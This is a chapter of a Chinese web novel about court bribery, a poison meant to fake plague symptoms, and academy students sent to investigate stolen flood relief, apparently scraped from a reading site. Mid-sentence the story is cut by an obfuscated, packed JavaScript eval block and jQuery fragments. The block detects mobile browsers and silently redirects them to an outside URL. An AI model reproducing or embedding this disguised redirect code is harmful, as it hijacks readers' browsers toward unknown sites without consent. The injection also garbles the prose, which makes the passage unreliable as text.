7. 棋子

作品:《重生后宿敌全部贴上来

    天齐,晋州,八阳城:


    细雨连绵,整座城镇笼罩在一片朦胧里,被重重的湿冷包裹起来。


    阴寒的湿意被挡在窗外,屋里的炭火烧得旺,却没有飘出烟雾,只萦绕着婉转的琴声。


    城主李旻坐在紫檀木椅上,手里捧着一尊鎏金累丝福禄赏瓶,凑在煌煌灯火下,目光在瓶上流连忘返。


    “真是绝世的工艺。”李旻赞不绝口。


    “送给沐相和沐公子是最合适不过。”坐在对面的下属同样啧啧称奇,抬手拂过礼盒里的碧玉蚕丝,“好像摸在光滑的翡翠上,希望能入沐夫人和沐小姐的眼。”


    两人的周围有好几口大箱子,里面不是装着金条,就是堆满古董珍玩,这些东西都是要孝敬给朝中的重臣。


    “我们是祁家提拔上来的,虽然华阳六家同气连枝,可送给沐家这么厚的礼,祁太傅会不会不高兴呢。”李旻迟疑着说。


    下属掩唇笑起来,狭长的眼眸里溢出一丝诡异,“大人多虑了,祁太傅嗜书,因而您送的是前朝书圣的真迹,此物乃孤品。孝敬给沐相的礼物虽贵重,到底不是独一无二,这在心意和品级上都落了下成。”


    李旻高兴起来,将珍宝放入礼盒里,小心翼翼地合上。他眉色飞舞,“还是子年想的周到。我知道这些东西在那些公卿面前算不上什么,纠结这纠结那的很小家子气,可我又有什么办法呢。去年姓杜的没去送礼,不就立刻被调去坐冷板凳……”


    “大人如今还有一件事要注意。”子年插嘴打断他的话,“今日有钦差从帝京里来,登上了城门。”


    “什么!”李旻惊讶地站起来,“他们是哪边的人?”


    子年摇摇头,“暂时还不清楚,不过他们的行事作风并不像是朝廷的人。”


    “不是朝廷?”李旻眉头紧皱,烦躁地来回走动,还比了手势,琴声戛然而止。


    “那就是宫里面的人。”李旻的眼神直直刺向下属,“你觉得是陛下还是太后?”


    子年依旧端的四平八稳,站起身朝李旻敛衽一拜,像是要通过这番恭顺的姿态消去对方的不安。


    “不管是谁的人,大人都不必担忧。您是为了城中百姓,才下决心把染了疫症的人拒在门外。”


    “这?”李旻听懂了他的意思,眼珠子转来转去,似乎有些心动,但仍有几分顾忌,“万一被查出来,这可是杀头的大罪。”


    “凡事都要讲个证据。”子年笑得高深莫测,从袖子里拿出一个药瓶,恭恭敬敬地呈递,“此药无色无味,可让人中毒之后出现鼠疫的症状。”


    李旻藏在宽袖里的手紧了又松,还是接过了药瓶,最后问了句:“子年,你是从哪里得来这样的东西?”


    “是从一个流浪到天齐的北地人手里买来的。”子年无声地笑笑,“您知道的,他们那有个教派,一向喜欢折腾这些玩意。”


    天齐,帝京,日彰学宫:


    年轻的学生快步走进来,手里捧着一个匣子,里边放着一封信。


    老祭酒拿出信,伸出窗外。在阳光照射下,信封氲出一抹青色,这是学宫特有的标记。


    还没看完信,老祭酒的神色已经十分凝重。在目光划至最后一行后,他重重地叹了一口气,满头银丝在此刻显得愈发苍老。


    “老师?”学生试探着叫了一声,“是出了很大的事吗?”


    “什么叫很大的事呢?”老祭酒的声音平淡得令人心惊,“一城几千人的姓名,对于一些人来说,或许连事都算不上吧。”


    尽管未看信件,从老祭酒的话,学生也大致猜出内容。


    “老师,是陛下传密令让我们去视察灾情,说明陛下动了心思,皇室与世家的暗斗要转为明争。我们去向陛下要旨意,让这些灾民作为世家行恶的人证,就可以遣兵保护他们。”


    老祭酒闭上眼睛,“没用的,他们的结局已经定下了。因为赈济不力而死几千个人在天齐不是大事,最多不过是抓几个晋州的官罢了,动不了世家。”


    学生不解,“那陛下密令的意义何在?就只是让我们去看吗!”


    “不,是逼那些人为了保住乌纱帽,做出更加不可挽回的事。”老祭酒冷冷地笑起来,“闯的祸足够大,为了平息这些祸事,要问罪足够多的人,只有这样才能拉世家下水,就算淹不死,也会惹得一身湿。”


    学生的身子抖了下,像是刚刚生出的翠竹,承受不住凛然的风,“我们竟成了陛下手中的刀。”


    “是的,不过!”老祭酒加重了语气,如同久蛰的雄狮终于睁开金黄的眼瞳,“我们可以让做出这种事的人付出惨重的代价,去威慑其他打算做这种事的人!”


    老祭酒走到庭院中,负手远眺天际,眼中燃起不亚于染血晚霞的滔天烈火,“去传令!集合学宫里优秀的学生,明日一早赴往晋州八阳城!几千人的血,足够他们成长了。”


    前朝为了行军打仗,曾花大价钱修路。许多路在王朝更替时被毁的七七八八,可还有一些小道,比如通向不太繁华的八阳城,就完好地沿用至今。


    几道清脆的马蹄踏在泥泞的土路上,因长时间的赶路,马鬃毛黯淡不少。坐在马鞍上的少女面无表情,全身透出淡淡的死感。


    少女的眼睛瞥向前面,把她诳来的杜明秋也坐在马上恹恹得,刚出发时的意气风发也被磨了不少。


    她也是昏了头,居然答应来掺和这事。


    “师妹们好。


    杜明秋一副哥俩好的模样,端着饭菜坐在海蕴的对面,笑嘻嘻道:“我有一件天大的好事要告诉你们。”


    这位师兄出了名的吊儿郎当,十句话里七句话不可信,因而三人里只有海蕴柔声问道:“是什么好事?“


    杜明秋嘿嘿了两声,“听说学宫正寻人去晋州办些事,明日一早就出发,你们新生里有三个名额。”说完比出三根手指。


    “不感兴趣。”沐山敛道。


    “别急着拒绝,你们知道这次完事后,可以加多少学分吗?”杜明秋故作高深。


    林


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803294|158462||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    间的几门文学课考得极差,不由有些心动:“多少?”


    他也不卖关子,“五十分。”


    林间倒吸口气,五十分意味着下一月的所有文考,她都能交白卷,于是立刻攥紧沐山敛的袖子,两眼写满:我要加入。


    沐山敛在沉思,毕竟以林间那凄凉的文试分数,哪怕武试能全拿满分,也留不下来。可能加五十分的任务,想必也不是那么容易能办成。


    沐山敛抬起眼看他,“是什么事?”


    “你们也知道晋州最近多地发了大水,多处赈灾款发往晋州,可落入百姓手中的不足一二,学宫便让我们暗查那些贪赃枉法之徒。”


    暗查?说明不会大张旗鼓,况且沐若初那日的剑舞吸引住不少的视线,现下不会有太多的眼睛盯着自己


    五十分的诱惑实在大,沐山敛想了想,还是点头应下。


    在经历过几天的风餐露宿后,沐山敛只恨不得掐死当日答应下来的自己。


    “靳师兄啊。”


    杜明秋驭马与靳之泽并驾,口中叫苦连连,“这一路不是黄土就是高坡,这马快要把我的五脏六腑都颠出来,还要几日才到?”


    黑衣青年目不斜视,指向天边的一个黑点,“按地图所示,那就是八阳城。不过我们并不能直接从城门进入,而是要绕道南边的一个小门。”


    整支队伍听罢瞬间静下来,每人相互对视。


    “为何?”一人问道。


    “寒山夫子给祭酒的信上写,城门外满是灾民和浮尸。”靳之泽静静地说,语气里听不出情绪。


    在一片沉默里,杜明秋张大嘴巴,“靳师兄,这事怎么不早些说,咱们都是一条船上的人。”


    靳之泽意味不明地看向他,杜明秋毫不心虚地迎视,甚至还挺直腰。


    其余人则掩唇偷笑。


    这还用说,要是靳师兄早早说了,以杜明秋的性子,早就逃之夭夭,打道回府。


    “没想到,这些人居然这么猖狂,真的敢为了贪墨赈灾粮,把百姓拒之门外。”一女学子心肠软,闭上眼摇摇头。


    “真是猪狗不如。”


    “希望我们赶到时,还能找到一些粮食去救济他们。”


    沐山敛骑在队伍偏后的位置,心底涌起几分不安。她抬头看向翻滚的云海,雨停了三四日,然而雨后的天空并未被洗净,反而灰蒙蒙的。


    “山敛,你在想什么?”海蕴的声音从背后响起。


    沐山敛勒着马慢下来,与海蕴齐驱。


    “我总觉得,这趟路不会走得很顺。”沐山敛压低了声音。


    海蕴笑了笑,“毕竟五十分呢,学宫在分数上从来都不大方。”


    “也是。”沐山敛也跟着挑了挑嘴角,“按理来说,寒山夫子应该会与我们联系,可路上走了这么久,从来没见八阳城方向来的信鸽。”


    “许是他们忙着搜集证据。”海蕴自知这种情况的几率极微,可还是不愿往最坏的地方想。


    “但愿吧。”